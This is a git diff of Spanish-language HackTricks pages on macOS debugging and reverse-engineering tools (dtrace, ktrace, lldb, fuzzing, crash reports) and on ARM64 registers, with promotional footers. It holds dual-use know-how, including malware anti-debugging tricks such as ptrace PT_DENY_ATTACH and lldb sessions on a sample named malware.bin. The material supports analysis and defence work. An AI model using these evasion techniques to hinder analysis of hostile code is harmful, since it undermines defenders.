Con binarios de Swift, dado que hay compatibilidad con Objective-C, a veces se pueden extraer declaraciones usando [class-dump](https://github.com/nygard/class-dump/), pero no siempre.
|
||||
|
||||
Con las líneas de comando **`jtool -l`** o **`otool -l`** es posible encontrar varias secciones que comienzan con el prefijo **`__swift5`**:
|
||||
```bash
|
||||
|
@ -283,7 +284,7 @@ En el panel central puedes ver el **código desensamblado**. Y puedes verlo como
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Al hacer clic derecho en un objeto de código, puedes ver las **referencias desde/hacia ese objeto** o incluso cambiar su nombre (esto no funciona en el pseudocódigo decompilado):
|
||||
Al hacer clic derecho en un objeto de código, puedes ver las **referencias a/desde ese objeto** o incluso cambiar su nombre (esto no funciona en el pseudocódigo decompilado):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -291,7 +292,7 @@ Además, en la **parte inferior central puedes escribir comandos de Python**.
|
|||
|
||||
#### Panel derecho
|
||||
|
||||
En el panel derecho puedes ver información interesante como el **historial de navegación** (para saber cómo llegaste a la situación actual), el **grafo de llamadas** donde puedes ver todas las **funciones que llaman a esta función** y todas las funciones que **esta función llama**, e información de **variables locales**.
|
||||
En el panel derecho puedes ver información interesante como el **historial de navegación** (para saber cómo llegaste a la situación actual), el **grafo de llamadas** donde puedes ver todas las **funciones que llaman a esta función** y todas las funciones que **esta función llama**, e información sobre **variables locales**.
|
||||
|
||||
### dtrace
|
||||
|
||||
|
@ -315,7 +316,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no se especifica alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
|
||||
El nombre de la sonda consta de cuatro partes: el proveedor, módulo, función y nombre (`fbt:mach_kernel:ptrace:entry`). Si no se especifica alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
|
||||
|
||||
Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se activen, necesitaremos usar el lenguaje D.
|
||||
|
||||
|
@ -323,7 +324,7 @@ Una explicación más detallada y más ejemplos se pueden encontrar en [https://
|
|||
|
||||
#### Ejemplos
|
||||
|
||||
Ejecute `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemplo: `sudo dtruss -n binary`
|
||||
Ejecuta `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemplo: `sudo dtruss -n binary`
|
||||
|
||||
* En línea
|
||||
```bash
|
||||
|
@ -397,9 +398,9 @@ Para obtener esta información, es posible utilizar la herramienta de Apple **`t
|
|||
|
||||
### ktrace
|
||||
|
||||
Las API `ktrace_*` provienen de `libktrace.dylib`, que envuelven las de `Kdebug`. Luego, un cliente solo necesita llamar a `ktrace_session_create` y `ktrace_events_[single/class]` para establecer devoluciones de llamada en códigos específicos y luego iniciarlo con `ktrace_start`.
|
||||
Las API `ktrace_*` provienen de `libktrace.dylib`, que envuelve las de `Kdebug`. Luego, un cliente solo necesita llamar a `ktrace_session_create` y `ktrace_events_[single/class]` para establecer devoluciones de llamada en códigos específicos y luego iniciarlo con `ktrace_start`.
|
||||
|
||||
Puedes utilizar esta incluso con **SIP activado**.
|
||||
Se puede utilizar incluso con **SIP activado**.
|
||||
|
||||
Puedes utilizar como clientes la utilidad `ktrace`:
|
||||
```bash
|
||||
|
@ -419,7 +420,7 @@ Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que propor
|
|||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) es una herramienta muy útil para verificar las acciones relacionadas con procesos que un proceso está realizando (por ejemplo, monitorear qué nuevos procesos está creando un proceso).
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) es una herramienta muy útil para verificar las acciones relacionadas con procesos que está realizando un proceso (por ejemplo, monitorear qué nuevos procesos está creando un proceso).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
|
@ -434,7 +435,7 @@ Necesitas monitorear tu Mac con un comando como **`sudo eslogger fork exec renam
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) es una herramienta GUI con la apariencia que los usuarios de Windows pueden conocer de _Procmon_ de Microsoft Sysinternals. Esta herramienta permite iniciar y detener la grabación de varios tipos de eventos, filtrar estos eventos por categorías como archivo, proceso, red, etc., y proporciona la funcionalidad para guardar los eventos grabados en un formato json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) es una herramienta GUI con la apariencia que los usuarios de Windows pueden conocer de _Procmon_ de Microsoft Sysinternals. Esta herramienta permite iniciar y detener la grabación de varios tipos de eventos, filtrar estos eventos por categorías como archivo, proceso, red, etc., y proporciona la funcionalidad para guardar los eventos grabados en formato json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
|
@ -460,14 +461,14 @@ En [**esta publicación de blog**](https://knight.sc/debugging/2019/06/03/debugg
|
|||
|
||||
### lldb
|
||||
|
||||
**lldb** es la herramienta de **hecho** para **depurar** binarios en **macOS**.
|
||||
**lldb** es la herramienta de **hecho** para **depurar** binarios de **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
Puedes configurar el sabor de Intel al usar lldb creando un archivo llamado **`.lldbinit`** en tu carpeta de inicio con la siguiente línea:
|
||||
Puedes establecer el sabor de Intel al usar lldb creando un archivo llamado **`.lldbinit`** en tu carpeta de inicio con la siguiente línea:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -475,10 +476,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
Dentro de lldb, volcar un proceso con `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.</td></tr><tr><td><strong>finish (f)</strong></td><td>Ejecutar el resto de las instrucciones en la función actual ("frame") y detener.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Cualquier función llamada main</p><p>b <nombrebinario>`main #Función principal del binario</p><p>b set -n main --shlib <nombrelibrería> #Función principal del binario indicado</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista de puntos de interrupción</p><p>br e/dis <número> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <número></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtener ayuda del comando de punto de interrupción</p><p>help memory write #Obtener ayuda para escribir en la memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <registro/dirección de memoria></strong></td><td>Mostrar la memoria como una cadena terminada en nulo.</td></tr><tr><td><strong>x/i <registro/dirección de memoria></strong></td><td>Mostrar la memoria como instrucción de ensamblador.</td></tr><tr><td><strong>x/b <registro/dirección de memoria></strong></td><td>Mostrar la memoria como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota que la mayoría de las APIs o métodos Objective-C de Apple devuelven objetos, y por lo tanto deben mostrarse mediante el comando "print object" (po). Si po no produce una salida significativa, usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desensamblar la función actual</p><p>dis -n <nombrefunción> #Desensamblar función</p><p>dis -n <nombrefunción> -b <nombrebase> #Desensamblar función<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra<br>dis -p -c 4 # Comenzar en la dirección actual desensamblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar el array de 3 componentes en el registro x1</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.</td></tr><tr><td><strong>finish (f)</strong></td><td>Ejecutar el resto de las instrucciones en la función actual ("frame") y detener.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Cualquier función llamada main</p><p>b <nombre_binario>`main #Función principal del binario</p><p>b set -n main --shlib <nombre_lib> #Función principal del binario indicado</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista de puntos de interrupción</p><p>br e/dis <número> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <número></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtener ayuda del comando de punto de interrupción</p><p>help memory write #Obtener ayuda para escribir en la memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <registro/dirección de memoria></strong></td><td>Mostrar la memoria como una cadena terminada en nulo.</td></tr><tr><td><strong>x/i <registro/dirección de memoria></strong></td><td>Mostrar la memoria como instrucción de ensamblador.</td></tr><tr><td><strong>x/b <registro/dirección de memoria></strong></td><td>Mostrar la memoria como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota que la mayoría de las APIs o métodos Objective-C de Apple devuelven objetos, y por lo tanto deben mostrarse mediante el comando "print object" (po). Si po no produce una salida significativa, usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desensamblar la función actual</p><p>dis -n <nombre_func> #Desensamblar función</p><p>dis -n <nombre_func> -b <nombre_base> #Desensamblar función<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra<br>dis -p -c 4 # Comenzar en la dirección actual desensamblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar el array de 3 componentes en el registro x1</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo ("C"). Para imprimir el nombre a través de lldb haz lo siguiente:
|
||||
Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo ("C"). Para imprimir el nombre a través de lldb haz:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -500,7 +501,7 @@ Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **no
|
|||
* También se puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **impide** que un deb**u**gger se adjunte y haga seguimiento.
|
||||
* Puedes verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
|
||||
* Como se señala en este artículo, “[Derrotando Técnicas Anti-Depuración: variantes de ptrace en macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_El mensaje Proceso # salió con **estado = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT\_DENY\_ATTACH**_”
|
||||
“_El mensaje Proceso # salió con **estado = 45 (0x0000002d)** es generalmente una clara señal de que el objetivo de depuración está usando **PT\_DENY\_ATTACH**_”
|
||||
## Volcados de núcleo
|
||||
|
||||
Los volcados de núcleo se crean si:
|
||||
|
@ -519,7 +520,7 @@ ReportCrash **analiza procesos que se bloquean y guarda un informe de bloqueo en
|
|||
Para aplicaciones y otros procesos **que se ejecutan en el contexto de lanzamiento por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda informes de bloqueo en `~/Library/Logs/DiagnosticReports/` del usuario.\
|
||||
Para demonios, otros procesos **que se ejecutan en el contexto de lanzamiento del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda informes de bloqueo en `/Library/Logs/DiagnosticReports` del sistema.
|
||||
|
||||
Si te preocupa que los informes de bloqueo **se envíen a Apple**, puedes desactivarlos. De lo contrario, los informes de bloqueo pueden ser útiles para **descubrir cómo se bloqueó un servidor**.
|
||||
Si te preocupa que los informes de bloqueo **se envíen a Apple**, puedes desactivarlos. De lo contrario, los informes de bloqueo pueden ser útiles para **averiguar cómo se bloqueó un servidor**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -550,13 +551,15 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### Manipuladores Internos
|
||||
|
||||
**Consulta la siguiente página** para descubrir cómo puedes encontrar qué aplicación es responsable de **manejar el esquema o protocolo especificado:**
|
||||
**Consulta la siguiente página** para descubrir cómo puedes encontrar qué aplicación es la responsable de **manejar el esquema o protocolo especificado:**
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Enumeración de Procesos de Red
|
||||
|
||||
Es interesante encontrar procesos que gestionan datos de red:
|
||||
```bash
|
||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||
#wait some time
|
||||
|
@ -583,7 +586,7 @@ Funciona para herramientas de línea de comandos.
|
|||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Funciona con herramientas de GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivo únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
Funciona con herramientas de interfaz gráfica de usuario (GUI) de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivo únicos, la extensión correcta, necesidad de leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
Algunos ejemplos:
|
||||
|
||||
|
@ -631,7 +634,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo de información**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -639,16 +642,17 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# Introducción a ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Niveles de Excepción - EL (ARM64v8)**
|
||||
|
||||
En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van desde EL0 hasta EL3, cada uno sirviendo a un propósito diferente:
|
||||
|
||||
1. **EL0 - Modo Usuario**:
|
||||
* Este es el nivel de menor privilegio y se utiliza para ejecutar código de aplicación regular.
|
||||
* Este es el nivel con menos privilegios y se utiliza para ejecutar código de aplicación regular.
|
||||
* Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y estabilidad.
|
||||
2. **EL1 - Modo Kernel del Sistema Operativo**:
|
||||
* La mayoría de los núcleos de sistemas operativos se ejecutan en este nivel.
|
||||
|
@ -28,7 +29,7 @@ En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de E
|
|||
* Este nivel se utiliza para la virtualización. Un hipervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) que se ejecutan en el mismo hardware físico.
|
||||
* EL2 proporciona características para el aislamiento y control de los entornos virtualizados.
|
||||
4. **EL3 - Modo Monitor Seguro**:
|
||||
* Este es el nivel de mayor privilegio y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables.
|
||||
* Este es el nivel más privilegiado y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables.
|
||||
* EL3 puede gestionar y controlar los accesos entre estados seguros y no seguros (como el arranque seguro, SO confiable, etc.).
|
||||
|
||||
El uso de estos niveles permite gestionar de manera estructurada y segura diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 en los niveles de privilegio ayuda a aislar de manera efectiva diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema.
|
||||
|
@ -44,26 +45,26 @@ ARM64 tiene **31 registros de propósito general**, etiquetados como `x0` a `x30
|
|||
4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas de función indirectas y stubs de PLT (Tabla de Enlace de Procedimiento).
|
||||
* **`x16`** se utiliza como el **número de llamada al sistema** para la instrucción **`svc`** en **macOS**.
|
||||
5. **`x18`** - **Registro de plataforma**. Puede utilizarse como registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo actual en Windows, o para apuntar a la estructura de tarea actualmente **en ejecución en el kernel de Linux**.
|
||||
6. **`x19`** a **`x28`** - Estos son registros preservados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador.
|
||||
6. **`x19`** a **`x28`** - Estos son registros preservados por el llamante. Una función debe preservar los valores de estos registros para su llamante, por lo que se almacenan en la pila y se recuperan antes de volver al llamante.
|
||||
7. **`x29`** - **Puntero de Marco** para llevar un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** puntero de marco (dirección de **`sp`**) se **almacena en este registro**.
|
||||
* Este registro también se puede utilizar como un **registro de propósito general**, aunque generalmente se utiliza como referencia a **variables locales**.
|
||||
8. **`x30`** o **`lr`** - **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Rama con Enlace) o `BLR` (Rama con Enlace a Registro) almacenando el valor de **`pc`** en este registro.
|
||||
* Este registro también se puede utilizar como un **registro de propósito general**, aunque generalmente se utiliza como referencia para **variables locales**.
|
||||
8. **`x30`** o **`lr`**- **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro.
|
||||
* También se puede utilizar como cualquier otro registro.
|
||||
* Si la función actual va a llamar a una nueva función y por lo tanto sobrescribir `lr`, se almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y se recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
|
||||
* Si la función actual va a llamar a una nueva función y por lo tanto sobrescribir `lr`, se almacenará en la pila al principio, esto es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y se recuperará al final, esto es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
|
||||
9. **`sp`** - **Puntero de Pila**, utilizado para llevar un seguimiento de la parte superior de la pila.
|
||||
* El valor de **`sp`** siempre debe mantenerse al menos en una **alineación de cuadripalabra** o puede producirse una excepción de alineación.
|
||||
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede actualizarse a través de generaciones de excepciones, retornos de excepciones y ramas. Las únicas instrucciones ordinarias que pueden leer este registro son instrucciones de rama con enlace (BL, BLR) para almacenar la dirección de **`pc`** en **`lr`** (Registro de Enlace).
|
||||
* el valor de **`sp`** siempre debe mantenerse al menos en una **alineación de cuadripalabra** o puede producirse una excepción de alineación.
|
||||
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede actualizarse a través de generaciones de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección de **`pc`** en **`lr`** (Registro de Enlace).
|
||||
11. **`xzr`** - **Registro Cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Se puede utilizar para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ninguna parte (en **`xzr`**).
|
||||
|
||||
Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**.
|
||||
|
||||
### Registros SIMD y de Punto Flotante
|
||||
|
||||
Además, hay otros **32 registros de longitud de 128 bits** que se pueden utilizar en operaciones optimizadas de datos múltiples de instrucción única (SIMD) y para realizar cálculos aritméticos en punto flotante. Estos se llaman registros Vn aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
Además, hay otros **32 registros de longitud de 128 bits** que se pueden utilizar en operaciones optimizadas de datos múltiples de instrucción única (SIMD) y para realizar cálculos aritméticos de punto flotante. Estos se llaman registros Vn aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y entonces se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
### Registros del Sistema
|
||||
|
||||
**Existen cientos de registros del sistema**, también llamados registros de propósito especial (SPRs), que se utilizan para **monitorear** y **controlar** el comportamiento de los **procesadores**.\
|
||||
Solo se pueden leer o establecer utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
|
||||
Solo se pueden leer o configurar utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
|
||||
|
||||
